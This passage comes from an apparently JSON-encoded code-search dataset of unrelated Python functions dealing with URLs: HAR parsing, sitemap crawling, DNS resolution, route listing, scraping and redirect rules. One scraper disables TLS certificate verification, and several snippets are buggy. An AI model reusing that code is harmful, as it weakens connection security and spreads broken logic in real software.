'method': None,\n 'url': None\n },\n 'response': {\n 'status': None,\n 'headers': [],\n 'headersSize': None,\n 'bodySize': None\n }\n }\n curr_entry = tmp_entry.copy()\n curr_entry['request']['method'] = method\n curr_entry['request']['url'] = element_url\n curr_entry['response']['status'] = status\n curr_entry['response']['headers'] = tmp_header_lst\n curr_entry['response']['headersSize'] = headerSize\n curr_entry['response']['bodySize'] = bodySize\n\n curr_har_dict['log']['entries'].append(curr_entry)\n\n # Write to har file\n if wpr_host is None:\n print 'Could not create host from url: {0}'.format(wpr_file)\n continue\n\n har_path = '../data/replay/'\n file_name = har_path + wpr_host + '.har' # Modified for har processing\n with open(file_name, 'wb') as f:\n try:\n json.dump(curr_har_dict, f)\n except:\n # Silently fail\n print \"Unable to write har file: \" + str(file_name)","def get_path(input_dictionary, output_dictionary,\n input_species_list, output_species_list):\n\n input_operon_list = []\n path_queue = [(input_operon_list, input_species_list) ]\n\n final_operon_path_list = []\n final_species_path_list = []\n\n while path_queue != []:\n\n ###print \"\\nget_path: path queue:\",path_queue\n\n path_queue,\\\n final_operon_path_list,\\\n final_species_path_list = traverse(input_dictionary,\n output_dictionary,\n input_species_list,\n output_species_list,\n path_queue,\n final_operon_path_list,\n final_species_path_list)\n\n return final_operon_path_list, final_species_path_list","def urls_from_robots_txt(response):\n\n url = URL(response.request_url or response.url or '')\n if url.parsed.path != '/robots.txt':\n return\n\n charset = response.headers.get_content_charset()\n lines = getreader(charset or 'ISO-8859-1')(response)\n\n for line in lines:\n\n content, _, comment = line.partition('#')\n field, _, value = content.partition(':')\n if field.strip().lower() != 'sitemap':\n continue\n\n # we shouldn't need to urljoin but we do just in case\n joined = URL(urljoin(response.url, value.strip()))\n # set sitemap=True in fragment to help downstream processing\n yield \"url\", joined.update_fragment_dict(sitemap=True)","def urls_from_urlset_or_sitemapindex(response):\n\n sitemap = URL(response.url).fragment_dict.get('sitemap')\n content_subtypes = response.headers.get_content_subtype().split('+')\n if not sitemap and 'xml' not in content_subtypes:\n return\n\n root = None\n try:\n for _, elem in iterparse(decode(response)):\n\n if root is None:\n root = elem.getroottree().getroot()\n if not (root.tag.endswith('}sitemapindex') or\n root.tag.endswith('}urlset')):\n # root element has wrong tag - give up\n break\n\n if elem.tag.endswith('}loc') and elem.text is not None:\n text = elem.text.strip()\n if text:\n # http://www.sitemaps.org/protocol.html#locdef\n url = URL(urljoin(response.url, text))\n if elem.getparent().tag.endswith('}sitemap'):\n # set sitemap=True to help downstream processing\n url = url.update_fragment_dict(sitemap=True)\n yield \"url\", url\n\n if elem.getparent() is root:\n # release memory for previous elements\n while elem.getprevious() is not None:\n del root[0]\n\n except XMLSyntaxError:\n log.debug(\"XMLSyntaxError in '%s' (%d)\", response.url, response.code)","def get_shelflist_urls():\n def _get_shelflist_urls(records):\n locations = set([r['location_code'] for r in records])\n return { loc: ('{}locations/{}/shelflistitems/'.format(API_ROOT, loc)) \n for loc in locations }\n return _get_shelflist_urls","def list_routes():\n import urllib\n output = []\n for rule in app.url_map.iter_rules():\n options = {}\n for arg in rule.arguments:\n options[arg] = \"[{0}]\".format(arg)\n\n methods = ','.join(rule.methods)\n url = url_for(rule.endpoint, **options)\n line = urllib.parse.unquote(\n \"{:35s} {:35s} {}\".format(\n rule.endpoint,\n methods,\n url\n )\n )\n output.append(line)\n\n for line in sorted(output):\n print(line)","def get_links(self, records: list = None, collection: bool = False) -> List[dict]:\n if not records:\n records = []\n if not collection:\n for record in records:\n links = [\n self._get_self_record(record).to_dict(),\n self._get_parent_record().to_dict(),\n self._get_root_record().to_dict(),\n ]\n record.update({\"links\": links})\n return records\n else:\n links = [self._get_self_collection().to_dict()]\n return links","def extract_all_references(dig_parent_dir, readfile):\n dig_parent_path_obj = Path(dig_parent_dir)\n extracted = {\"refs\": {}, \"hrefsToRefs\": {}}\n for split_page_num in [282, 283, 284]:\n split_page_dir = dig_parent_path_obj / \"dig/html/split\"\n refs_html = readfile(\n \"report\" + str(split_page_num) + \"b.html\", split_page_dir\n )\n data = extract_references_page(refs_html)\n extracted['refs'].update(data['refs'])\n extracted['hrefsToRefs'].update(data['hrefsToRefs'])\n\n return extracted","def uri(self):\n if not self.parallel:\n if len(self.WMO) <= 5: # todo: This max WMO number should be parameterized somewhere else\n # Retrieve all WMOs in a single request\n return [self.get_url()]\n else:\n # Retrieve one WMO by URL sequentially (same behaviour as localftp and argovis)\n urls = []\n for wmo in self.WMO:\n urls.append(\n Fetch_wmo(\n WMO=wmo, CYC=self.CYC, ds=self.dataset_id, parallel=False\n ).get_url()\n )\n return urls\n else:\n self.Chunker = Chunker(\n {\"wmo\": self.WMO}, chunks=self.chunks, chunksize=self.chunks_maxsize\n )\n wmo_grps = self.Chunker.fit_transform()\n # self.chunks = C.chunks\n urls = []\n for wmos in wmo_grps:\n urls.append(\n Fetch_wmo(\n WMO=wmos, CYC=self.CYC, ds=self.dataset_id, parallel=False\n ).get_url()\n )\n return urls","def harvest_urls():\n manifest = []\n category = {}\n subcategory = {}\n directoryfiles = \"%s/directory_listing/\" % config['PREFIX']\n # ^^ the directory containing the HTML from the Technorati site.\n\n #Set up directory for intermediate data: MANIFEST\n #MANIFEST contains: Category, Subcategory, Title and URL.\n #and is a roster of URLs of blogs to autodiscover.\n if not os.path.exists(prefix + \"meta\"):\n os.mkdir(prefix + \"meta\")\n else:\n #TO DO: What if meta exists but MANIFEST got deleted?\n logging.info(\"Blog URLs already harvested. Skipping...\")\n return\n\n #Iterate through each file in the directory and extract blog URLs.\n for infile in glob.glob(os.path.join(directoryfiles, '*.html')):\n logging.info(\"Harvesting blog URLs from %s.\" % infile)\n dirpage = file(infile)\n root = parse(dirpage).getroot()\n #Rather than infer the category from the filename, just extract\n #it from the file. Not the best way to do this, hit is minimal.\n\tpieces = infile.split('/')[-1].split('_')\n\tcat = pieces[1]\n\tsubcat = None\n\tif len(pieces) == 4:\n\t\tsubcat = pieces[2]\n blogs = root.xpath(\"//td[@class='site-details']\")\n #Iterate through all of the blogs listed on the page.\n for blog in blogs:\n url = blog.xpath(\"a[@class='offsite']\")[0].text\n title = blog.xpath('h3/a')[0].text\n OUT = open(prefix + \"meta/MANIFEST\", \"a\")\n #Store the category of the blog.\n category[url] = cat\n if subcat:\n output = [cat, subcat, title.encode('utf-8').replace(' ', ' '), url]\n subcategory[url] = subcat\n print >> OUT, ' '.join(output)\n else:\n output = [cat, \"NA\", title.encode('utf-8').replace(' ', ' '), url]\n print >> OUT, '\\t'.join(output)\n manifest.append(output)\n OUT.close()\n # This is a hack to get around having to use a database.\n # TODO: Reimplement using a database.\n BLOGCATS = open(prefix + \"blogcats.pickle\", \"w\")\n cPickle.dump(category, BLOGCATS)\n BLOGCATS.close()\n return manifest","def _filter_entries_by_url(self, url, har):\r\n if not har:\r\n har = self.har\r\n \r\n matches = []\r\n for entry in har[\"log\"][\"entries\"]:\r\n if url in entry[\"request\"][\"url\"]:\r\n matches.append(entry)\r\n return matches","def recursive_dns_lookup(target_name, qtype, root_servers_list):\n\n # Base case\n if not root_servers_list:\n return None\n\n # Create dns query based on the target_name (website)\n # and qtype (queue type: CNAME, A, AAAA, or MX)\n dns_query = dns.message.make_query(target_name, qtype)\n\n for server in root_servers_list:\n # Doing a try catch to check if the dns server times out,\n # if it does then we continue and try another server\n try:\n query_response = dns.query.udp(dns_query, server, 3)\n except dns.exception.Timeout:\n continue\n # If there's an answer in the response\n if query_response.answer:\n # Search through the response.answer for possible answers\n for response_answers in query_response.answer:\n #print(\"response_answers: \", response_answers)\n for response_answer in response_answers:\n #print(\"Response_answer\", response_answer)\n target_name = str(response_answer)[:-1] # Removes the period at the end\n #print(\"Target_name\", target_name)\n # If we don't get the reponse we're after then\n # continue searching through the root_servers\n if response_answer.rdtype != qtype:\n if response_answer.rdtype == 5:\n return recursive_dns_lookup(target_name, qtype, ROOT_SERVERS)\n else:\n # Return the answer we wanted\n return query_response\n else: # If there isn't an answer in the response then we check additional\n\n # If we do have something in additional then get the stuff inside\n if query_response.additional:\n ip_addresses = []\n for response_additional in query_response.additional:\n #print(\"response_additional: \", response_additional)\n # Convert to string then send to function for parsing the address out\n response_additional_str = str(response_additional)\n\n #print(\"function get_address resp:\", resp)\n resp_elements = response_additional_str.split()\n #print(\"function get_address resp_elements:\", resp_elements)\n ip_address = []\n for resp_element in resp_elements:\n #print(\"function get_address resp_element:\", resp_element)\n if resp_element != 'A':\n continue\n else:\n #print(\"function get_address resp_element = A:\", resp_element)\n #print(\"function get_address address:\", resp_elements[-1])\n ip_address.append(resp_elements[-1])\n ip_addresses += ip_address\n\n return recursive_dns_lookup(target_name, qtype, ip_addresses)","def GET(self, req):\n resp = req.get_response(self.app)\n referers=resp.headers['X-Container-Read']\n\treal_referers=get_oss_refer(referers)\n elem = Element('RefererConfiguration')\n SubElement(elem, 'AllowEmptyReferer').text='true'\n referer_list=SubElement(elem, 'RefererList')\n\tif real_referers is None:\n\t SubElement(referer_list, 'Referer').text=''\n\t body = tostring(elem)\n\t return HTTPOk(body=body, content_type='application/xml')\n\tif real_referers =='*':\n\t SubElement(referer_list, 'Referer').text='*'\n\t body = tostring(elem)\n\t return HTTPOk(body=body, content_type='application/xml')\n\tfor refer in real_referers.split(','):\n\t SubElement(referer_list, 'Referer').text=refer\n body = tostring(elem)\n\n return HTTPOk(body=body, content_type='application/xml')","def run_query(rule, ip_source=None, ip_dest=None):\n res = []\n\n g = NetworkGraph.NetworkGraph()\n\n\n # get all simple path\n start = time.time()\n simple_path = g.get_all_simple_path_new(rule, [])\n if len(simple_path):\n create_graph(simple_path)\n return ([\"success\"],[])\n else:\n return ([],[])\n\n simple_path = g.get_all_simple_path(ip_source, ip_dest)\n end = time.time()\n print 'temps mis = ', str(end - start)\n print 'simple len', len(simple_path)\n\n\n for node in g.graph.nodes(data=True):\n if node[1]['object'].marker_type == 'from':\n ip_source = node[0]\n if node[1]['object'].marker_type == 'to':\n ip_dest = node[0]\n\n \"\"\"\n simple_path = []\n [simple_path.append(i) for i in g.get_all_simple_path(ip_source, ip_dest)]\n # delete double\n simple_path.sort()\n simple_path = list(simple_path for simple_path, _ in itertools.groupby(simple_path))\n \"\"\"\n\n\n ress = []\n count = 0\n length = len(simple_path)\n for i in range(len(simple_path)):\n pass # print simple_path[i]\n for path in simple_path:\n i = 0\n trouve = False\n while i < len(path):\n if i < len(path) - 1:\n # if path[i] and path[i + 1] are ip, find the corresponding firewall to add in the path, so we can\n # mark the path passing through the firewall\n if not isinstance(path[i], Firewall.Firewall) and not isinstance(path[i + 1], Firewall.Firewall):\n # get the firewall\n trouve = True\n i += 1\n if trouve == False:\n ress.append(path)\n simple_path = list(ress)\n # parse all path\n for path in simple_path:\n count += 1\n Gtk_Main.Gtk_Main().statusbar.change_message(\"QueryPath : test path %d of %d\" % (count, length))\n Gtk_Main.Gtk_Main().update_interface()\n # list of rule list\n rule_list = [[]]\n i = 0\n while i < len(path) - 1:\n # list of acl between path[i] and path[i + 1] who match the query\n acl_list = []\n for acl in g.get_acl_list(path[i], path[i + 1]):\n sub_rule = get_subset_rule(rule, acl.get_rules())\n if sub_rule and sub_rule.action.chain:\n acl_list.append((acl, sub_rule))\n # acl_list empty : this mean we don't find an accepting rule between path[i] and path[i + 1]\n # so we give up\n if not acl_list:\n break\n\n # duplicate rule_list depending on the number of acl found in acl_list\n # this mean that if we found to acl who match the query between path[i] and path[i + 1],\n # we duplicate the rule_list to have all acl and rules possible\n rule_list += [list(l) for l in rule_list for _ in xrange(len(acl_list) - 1)]\n [rule_list[j].append(acl_list[j * len(acl_list) / len(rule_list)]) for j in xrange(len(rule_list))]\n i += 1\n\n if i == len(path) - 1:\n # res += [(list(path), rule_list[0])]\n # res += [(list(path), [l for l in rule_list])]\n\n for l in rule_list:\n # add the path list for each list in rule_list\n res += [(list(path), l)]\n\n # format result #\n for path_data in res:\n path = path_data[0]\n i = 0\n acl_index = 0\n while i < len(path):\n if i < len(path) - 1:\n # if path[i] and path[i + 1] are ip, find the corresponding firewall to add in the path, so we can\n # mark the path passing through the firewall\n if not isinstance(path[i], Firewall.Firewall) and not isinstance(path[i + 1], Firewall.Firewall):\n # get the firewall\n fw = [fw for fw in g.firewalls for acl in g.get_acl_list(firewall=fw)\n if acl == path_data[1][acl_index][0]][0]\n path.insert(i + 1, fw)\n acl_index -= 1\n i += 1\n acl_index += 1\n routed_paths = get_routed_paths(list(res), ip_dest)\n # print res[0][0]\n\n # delete double from res\n\n # remove_double(res)\n # remove_bad_path(res)\n # print 'res', res\n\n # delete bad results : path containing the same firewall twice or more\n\n return (res, routed_paths)","def URLs(self, default=[{}]):\n tmp = self.data.get('metadata', {}).get('urls', default)\n return [HEP.URLObject(i) for i in tmp]","def fetch_web_cont(self):\n with open(self.input_file) as input_file:\n data = yaml.load(input_file, yaml.FullLoader)\n url_list = data.get(self.url_access)\n regex_list = data.get(self.regex_access)\n\n print('Fetching data:')\n\n for url in url_list:\n # This restores the same behavior as before.\n # Enabling certificate verification by default for stdlib http clients\n context = ssl._create_unverified_context()\n run_time = datetime.now().strftime(\"Date: %d-%m-%Y Time: %I:%M:%S:%f_%p\")\n start = time.perf_counter()\n web_resp = request.urlopen(url, context=context)\n respData = web_resp.read()\n resp_time = '%0.2f s' % (time.perf_counter() - start)\n\n for regex in regex_list:\n contents = re.findall(regex, str(respData))\n with open(self.output_file, 'a') as file:\n if not contents:\n print(run_time, ' | URL: ', url, '| content not found with this regex: ', regex,\n file=file)\n\n else:\n for content in contents:\n print(run_time, ' | URL: ', url, ' | Response Time: ', resp_time,\n url, ' | Contents: ', content, file=file)\n \n with open(self.output_file, 'a') as file:\n \n print('\\n#################################\\n', file=file)","def get_url_dom(sid_dom):\n opener = AppURLopener()\n url_to_open = \"http://scop.berkeley.edu/sid=\" + sid_dom\n\n with opener.open(url_to_open) as response:\n pq = pyq.PyQuery(response.read())\n\n list_hrefs = []\n for a in pq.find('a'):\n current_href = a.get('href')\n if 'pdbstyle' in current_href and sid_dom in current_href:\n list_hrefs.append(current_href)\n\n if len(list_hrefs) != 1:\n print(\"ERROR: Several urls possible !! \")\n sys.error(2)\n else:\n return list_hrefs[0]","def get_urls(self):\n # Use functools.reduce for speed\n # see https://stackoverflow.com/questions/10461531/merge-and-sum-of-two-dictionaries\n def reducer(accumulator, dictionary):\n for key, value in dictionary.items():\n accumulator[key] = accumulator.get(key, []) + value\n return accumulator\n\n list_of_dicts = []\n for (year, quarter, f) in self.quarterly_date_list:\n self.quarterly.year = year\n self.quarterly.quarter = quarter\n self.quarterly.entry_filter = lambda x: f(x) and self.entry_filter(x)\n list_of_dicts.append(self.quarterly.get_urls())\n\n for d in self.daily_date_list:\n self.daily.date = d\n try:\n list_of_dicts.append(self.daily.get_urls())\n except EDGARQueryError:\n pass\n\n complete_dictionary = reduce(reducer, list_of_dicts, {})\n return complete_dictionary","def UrlParse(url, base_url, root_path):\n ref_dir = url.split(base_url)[1].split(r'/')\n saving_path = copy.deepcopy(root_path)\n print(\"ref split rel dir:{}\".format(ref_dir))\n\n for item in ref_dir[1:-1]:\n saving_path = path.join(saving_path, item)\n\n ref_html = ref_dir[-1]\n return saving_path, ref_html","def filter_relationships(self, srcip, routes):\n outroutes = []\n return outroutes","def get_urls_and_paths():\n # Array to store tuples in (url, path) format.\n urls_and_paths = []\n\n for file_name in os.listdir('tickers'):\n # Sanity check. Only use text files.\n if file_name.endswith('.txt'):\n # Create a folder for each group (each txt file is a group)\n group = os.path.splitext(file_name)[0]\n\n # Create the folder for storing stock price data.\n os.makedirs('data/' + group)\n\n # Open the file.\n input_file = open('tickers/' + file_name)\n\n # For each line (stock), create the GET URL and store the save location.\n for line in input_file.read().splitlines():\n urls_and_paths.append((\n 'https:/www.wsj.com/market-data/quotes/' + line + '/historical-prices/download?num_rows=100000000000000&range_days=100000000000000&startDate=01/01/1970&endDate=01/01/2040',\n 'data/' + group + '/' + line.split('/')[-1] + '.csv'\n ))\n\n return urls_and_paths","def hits(self):\n for record in self._results.items:\n # Project the record\n projection = self._schema.dump(\n record,\n context=dict(\n identity=self._identity,\n record=record,\n ),\n )\n if self._links_item_tpl:\n projection[\"links\"] = self._links_item_tpl.expand(\n self._identity, record\n )\n\n yield projection","def get_urls(self, size=None, hashes=None, ids=None, start=0, limit=100):\n if not (size or hashes or ids):\n raise UserError(\"Please provide size/hashes/ids to filter\")\n\n with self.session as session:\n query = session.query(IndexRecordUrl)\n\n query = query.join(IndexRecordUrl.index_record)\n if size:\n query = query.filter(IndexRecord.size == size)\n if hashes:\n for h, v in hashes.items():\n # Select subset that matches given hash.\n sub = session.query(IndexRecordHash.did)\n sub = sub.filter(and_(\n IndexRecordHash.hash_type == h,\n IndexRecordHash.hash_value == v,\n ))\n\n # Filter anything that does not match.\n query = query.filter(IndexRecordUrl.did.in_(sub.subquery()))\n if ids:\n query = query.filter(IndexRecordUrl.did.in_(ids))\n # Remove duplicates.\n query = query.distinct()\n\n # Return only specified window.\n query = query.offset(start)\n query = query.limit(limit)\n\n return [\n {'url': r.url,\n 'metadata': {m.key: m.value for m in r.url_metadata}}\n for r in query\n ]","def get_url(entry):\n if 'response' in entry:\n return entry['response']['url']\n\n return entry['request']['url']","def process(source):\n file = urlopen(source, context=ssl_context)\n tree = ElementTree.parse(file)\n\n for item in tree.getroot():\n location = item.find(TAGS['LOCATION'])\n if location is not None:\n print(location.text)\n\n file.close()","def get_external_links(parsed_drug_doc):\n\n external_link_info = list(parsed_drug_doc.find(id='external-links').next_sibling.dl.children)\n external_links = {}\n for i in range(0, len(external_link_info), 2):\n source = external_link_info[i].text\n value = external_link_info[i+1].text\n # Ignoring a few sources for this MVP that don't give obvious alternate IDs.\n if source not in [\"RxList\", \"Drugs.com\", \"PDRhealth\"]:\n external_links[source] = value\n\n return external_links","def _lookup_url(self, endpoint, values):\r\n try:\r\n cont = self.get_container(values['container'])\r\n if cont.cdn_enabled:\r\n return \"%s/%s\" % (cont.cdn_uri, values['filename'])\r\n else:\r\n return None\r\n except: # pragma: no cover\r\n return None","def get_download_url(lines):\n target = 'detail.jsp?root='\n #lines = list(lines) #debug\n for line in lines:\n if target in line:\n fields = line.split(\"'\", 2)\n root_url = fields[1]\n return root_url.replace('detail', 'download')\n else:\n set_trace()\n raise ValueError('%s not found.' % target)","def parse_map(url_map):\n ret = {}\n for rule in url_map.iter_rules():\n line = str(rule)\n # first part if the rule specifies the endpoint\n # between the first two '/' is the resource\n resource = line.split(\"/\")[1]\n # the endpoint is described by a regex, but we want only the name\n path = re.sub(r'<(?:[^>]+:)?([^>]+)>', '{\\\\1}', line)\n if resource not in ret:\n # this is the first path of this resource, create dict-entry\n ret[resource] = {'paths': {}, 'description': {}}\n # add path to dict\n ret[resource]['paths'][path] = {}\n for method in rule.methods:\n if method in ['GET', 'POST', 'PATCH', 'PUT', 'DELETE']:\n # we only display these methods, other HTTP-Methods don't need\n # documentation\n ret[resource]['paths'][path][method] = {}\n return ret","def redirects(self) -> List[str]:\n return self.root_hartree.redirects","def matchWildcardUrls(url, listOfUrls):\n if not url or not listOfUrls:\n return None\n pattern = re.compile('^[a-zA-Z][+a-zA-Z0-9.-]*:.*')\n if not pattern.search(str(url)) and not url.startswith('//'):\n url = '//' + url\n cspUrl = urlparse(str(url)) \n host = cspUrl.netloc.lower() or \"\"\n hostHasWildcard = host.startswith(\"*.\")\n wildcardFreeHost = re.sub(\"^\\*\", \"\", host, flags=re.IGNORECASE)\n path = cspUrl.path or ''\n hasPath = len(cspUrl.path) > 0 \n\n for url2 in listOfUrls:\n url = urlparse(str(url2))\n domain = url.netloc.lower() or \"\"\n domainHasWildCard = domain.startswith(\"*.\")\n if (not domainHasWildCard):\n if (not domain.endswith(wildcardFreeHost) ): \n continue\n if (not hostHasWildcard and host != domain):\n continue\n else:\n domainparts = list(reversed(domain.split('.')))\n hostparts = list(reversed(host.split('.')))\n stop = False\n domainlen = len(domain.split('.'))\n hostlen = len(host.split('.'))\n \n for idx, domainpart in enumerate(domainparts):\n if idx < hostlen:\n hostpart = hostparts[idx]\n if hostpart != domainpart and (domainpart != '*' and hostpart != '*'):\n stop = True\n if stop:\n continue\n if (hasPath):\n if (path.endswith('/')): \n if (not url.path.startswith(path)):\n continue\n elif (url.path != path):\n continue\n\n return url\n\n return None","def crawl_url_links(input_dict):\n\n extractor_name=input_dict.get('extractor','DefaultExtractor')\n import requests\n label=input_dict['label']\n urls,_, source, source_date=_process_input(input_dict['input'],False)\n\n\n docs=[]\n titles=[]\n for url in urls:\n print(url)\n try:\n r = requests.get(url)\n except ConnectionError:\n continue\n if r.status_code==200:\n html=r.text\n from boilerpipe.extract import Extractor\n extractor = Extractor(extractor=extractor_name, html=html)\n\n titles.append(url)\n text=''\n if label:\n text+='!'+label+'\\t'\n text+=extractor.getText()\n docs.append(text)\n\n\n corpus_date = str(time.strftime(\"%d.%m.%Y %H:%M:%S\", time.localtime()))\n documents, labels = _process_adc(docs, False, label, titles)\n features = {\"Source\": source, \"SourceDate\": source_date, \"CorpusCreateDate\": corpus_date,\n \"Labels\": json.dumps([label]) if label else '[]'}\n\n return {\"adc\": DocumentCorpus(documents=documents, features=features)}","def same_website(url_rec, u_rec):\n if isinstance(url_rec, string_types):\n url_rec = urlparse(url_rec)\n if isinstance(u_rec, string_types):\n u_rec = urlparse(u_rec)\n return (url_rec.netloc == u_rec.netloc)\n # todo: collect more of sample cases.\n # disabled below check while working on ratholeradio, since links\n # could go to the parent and that is ok. Figure out when it was\n # desired not to go to the parent -- we might need explicit option\n # and u_rec.path.startswith(url_rec.path)):","def ComputeManualRedirectUrl(self, uri):\n # Redircts are defined in a file named redirects.yaml.\n try:\n f = open(self.REDIRECT_FILE)\n data = yaml.load(f)\n f.close()\n except IOError, e:\n logging.warning('Error opening redirect file (' + self.REDIRECT_FILE +\n '): ' + e.strerror)\n return (uri, None)\n\n # The incoming path is missing a leading slash. However, many parts of the\n # redirect system require leading slashes to distinguish between relative\n # and absolute redirects. So, to compensate for this, we'll add a leading\n # slash here as well.\n uri = '/' + uri\n\n # Check to make sure we actually got an iterable list out of the YAML file\n if data is None:\n logging.warning('Redirect file (' + self.REDIRECT_FILE + ') not valid '\n 'YAML.')\n elif 'redirects' not in data:\n logging.warning('Redirect file (' + self.REDIRECT_FILE + ') not '\n 'properly formatted -- no \\'redirects:\\' header.')\n elif hasattr(data['redirects'], '__iter__'):\n # Iterate through redirect data, try to find a redirect that matches.\n for redirect in data['redirects']:\n # Note: re.search adds an implied '^' to the beginning of the regex\n # This means that the regex must match from the beginning of the\n # string.\n try:\n if re.match(redirect[self.REDIRECT_SRC], uri):\n # Match found. Apply redirect rule.\n redirect_uri = re.sub('^' + redirect[self.REDIRECT_SRC],\n redirect[self.REDIRECT_DST], uri)\n logging.info('Redirect rule matched.\\n'\n 'Rule: %s\\n'\n 'Src: %s\\n'\n 'Dst: %s',\n redirect[self.REDIRECT_SRC], uri, redirect_uri)\n if self.REDIRECT_TYPE in redirect:\n redirect_type = redirect[self.REDIRECT_TYPE]\n else:\n # Default redirect type, if unspecified\n redirect_type = self.REDIRECT_TYPE_PERM\n return (redirect_uri, redirect_type)\n except:\n e = sys.exc_info()[1]\n raise ('Error while processing redirect rule.\\n'\n 'Rule: %s\\n'\n 'Error: %s' % (redirect[self.REDIRECT_SRC], e))\n # No redirect found, return URL unchanged\n return (uri, None)"],"string":"[\n \"def parse_links(record):\\n try:\\n page_url = record['WARC-Header-Metadata']['WARC-Target-URI']\\n page_domain = urlparse.urlparse(page_url).netloc\\n links = record['Payload-Metadata']['HTTP-Response-Metadata']['HTML-Metadata']['Links']\\n out_links = Counter([urlparse.urlparse(url['url']).netloc for url in links])\\n return (page_domain, out_links)\\n except:\\n return None\",\n \"def _filter_return_url_from_list(self, paths, har=None):\\r\\n if not har:\\r\\n har = self.har\\r\\n \\r\\n matches = []\\r\\n for entry in har[\\\"log\\\"][\\\"entries\\\"]:\\r\\n for path in paths:\\r\\n if path in entry[\\\"request\\\"][\\\"url\\\"]:\\r\\n temp = entry[\\\"request\\\"][\\\"url\\\"].encode('ascii', 'ignore')\\r\\n matches.append(temp)\\r\\n return matches\",\n \"def extract_urls(genome):\\n itemid = genome.get('metadata').get('identifier')\\n urls = set([url for url in genome['urls'] if 'archive.org' not in url])\\n db_urls_found(itemid, urls)\",\n \"def by_navigations(self):\\n\\t\\t\\n\\t\\turl_format = r'^\\\\s*(?:(?P<protocol>\\\\w+)://)?(?P<domain>[\\\\w\\\\d\\\\-\\\\.]+)(?::(?P<port>\\\\d+))?/?(?P<everything_else>.*)$'\\n\\t\\tnavigations = {}\\n\\t\\tfor line in self.source.lines:\\n\\t\\t\\ttry:\\n\\t\\t\\t\\tif self.filter(line):\\n\\t\\t\\t\\t\\tresult = re.match(url_format, line.content.url)\\n\\t\\t\\t\\t\\tif line.content.source_address not in navigations.keys():\\n\\t\\t\\t\\t\\t\\tnavigations[line.content.source_address] = {}\\n\\t\\t\\t\\t\\tif line.content.user not in navigations[line.content.source_address]:\\n\\t\\t\\t\\t\\t\\tnavigations[line.content.source_address][line.content.user] = {}\\n\\t\\t\\t\\t\\tif result.group('domain') not in navigations[line.content.source_address][line.content.user]:\\n\\t\\t\\t\\t\\t\\tnavigations[line.content.source_address][line.content.user][result.group('domain')] = 0\\n\\t\\t\\t\\t\\tnavigations[line.content.source_address][line.content.user][result.group('domain')] += int(line.content.size)\\n\\t\\t\\texcept AttributeError:\\n\\t\\t\\t\\tpass\\n\\t\\t\\n\\t\\tflat_navigations = []\\n\\t\\tfor address in navigations.keys():\\n\\t\\t\\t# node = socket.getfqdn(address)\\n\\t\\t\\tnode = address\\n\\t\\t\\tfor user in navigations[address].keys():\\n\\t\\t\\t\\tfor domain in navigations[address][user].keys():\\n\\t\\t\\t\\t\\tflat_navigations.append([user, domain, node, address, navigations[address][user][domain]])\\n\\t\\t\\n\\t\\t# What happend here? Why an exception handler is needed?\\n\\t\\ttry:\\n\\t\\t\\tflat_navigations.sort(key = lambda t: t[4], reverse = True)\\n\\t\\texcept (e):\\n\\t\\t\\tpass\\n\\t\\t\\n\\t\\treturn flat_navigations\",\n \"def reformat(array):\\n global searched_domain\\n response = []\\n for tag in array:\\n link = tag.get(\\\"href\\\", None)\\n if link is not None:\\n p = parse.urlparse(link)\\n if re.match(searched_netloc, p.netloc):\\n if p.scheme == \\\"\\\":\\n link = parse.ParseResult(\\\"http\\\", *p[1:]).geturl()\\n response.append(link)\\n return response\",\n \"def create_results(self):\\n\\n webhost_map = {}\\n # put the found paths into the webhost map\\n self.process_crawled_urls(webhost_map)\\n # put the found param infos into the webhost map\\n self.process_param_infos(webhost_map)\\n # put the found cookies into the webhost map and get as by product new domains\\n new_domains = self.process_cookies(webhost_map)\\n # get the newly discovered network locations\\n new_netlocs = self.get_new_netlocs()\\n\\n # append new domains to the new network locations\\n for new_domain in new_domains:\\n if self.port != 80 and self.port != 443:\\n new_netlocs.add(new_domains + \\\":\\\" + self.port)\\n else:\\n new_netlocs.add(new_domain)\\n\\n # process discovered redirects and put into webhost map if appropriate\\n for url, redirect in self.redirects.items():\\n path = urllib.parse.urlparse(url).path\\n if url + \\\"/\\\" == redirect[\\\"to\\\"]:\\n continue\\n else:\\n if not self.url_has_netloc(redirect[\\\"to\\\"]):\\n redirect_to = redirect[\\\"to\\\"]\\n else:\\n redirect_to = urllib.parse.urlparse(redirect[\\\"to\\\"]).path\\n\\n code = str(redirect[\\\"code\\\"])\\n if code not in webhost_map:\\n webhost_map[code] = {}\\n if path not in webhost_map[code]:\\n webhost_map[code][path] = {}\\n\\n redirect_info = \\\"redirect to %s\\\" % redirect_to\\n if \\\"misc_info\\\" not in webhost_map[code][path]:\\n webhost_map[code][path][\\\"misc_info\\\"] = redirect_info\\n elif not any(val == redirect_info for val in webhost_map[code][path].values()):\\n for i in range(10):\\n alt_key = \\\"misc_info_%d\\\" % i\\n if alt_key not in webhost_map[code][path]:\\n webhost_map[code][path][alt_key] = redirect_info\\n break\\n\\n return webhost_map, new_netlocs, self.comments\",\n \"def getURLs():\",\n \"def _get_records(self, domain, domain_id, record):\\n for needed in [\\\"type\\\", \\\"source\\\", \\\"target\\\"]:\\n if needed not in record:\\n raise ValueError(\\\"{} not provided in record dict\\\".format(needed))\\n\\n if record[\\\"source\\\"] == \\\".\\\":\\n fqdn = domain\\n else:\\n fqdn = \\\"{source}.{domain}\\\".format(source=record[\\\"source\\\"], domain=domain)\\n return list(\\n filter(\\n lambda x: (\\n x[\\\"source_idn\\\"] == fqdn\\n and x[\\\"type\\\"] == record[\\\"type\\\"]\\n and x[\\\"target\\\"] == record[\\\"target\\\"]\\n ),\\n self._get_request(\\\"/1/domain/{domain_id}/dns/record\\\".format(domain_id=domain_id)),\\n )\\n )\",\n \"def _filter_return_url(self, url, har=None):\\r\\n if not har:\\r\\n har = self.har\\r\\n \\r\\n matches = []\\r\\n for entry in har[\\\"log\\\"][\\\"entries\\\"]:\\r\\n if url in entry[\\\"request\\\"][\\\"url\\\"]:\\r\\n temp = entry[\\\"request\\\"][\\\"url\\\"].encode('ascii', 'ignore')\\r\\n matches.append(temp)\\r\\n return matches\",\n \"def find_domain_range(record):\\n response = {\\\"domain\\\": [], \\\"range\\\": []}\\n if \\\"http://schema.org/domainIncludes\\\" in record:\\n if isinstance(record[\\\"http://schema.org/domainIncludes\\\"], dict):\\n response[\\\"domain\\\"] = [record[\\\"http://schema.org/domainIncludes\\\"][\\\"@id\\\"]]\\n elif isinstance(record[\\\"http://schema.org/domainIncludes\\\"], list):\\n response[\\\"domain\\\"] = [\\n _item[\\\"@id\\\"] for _item in record[\\\"http://schema.org/domainIncludes\\\"]\\n ]\\n if 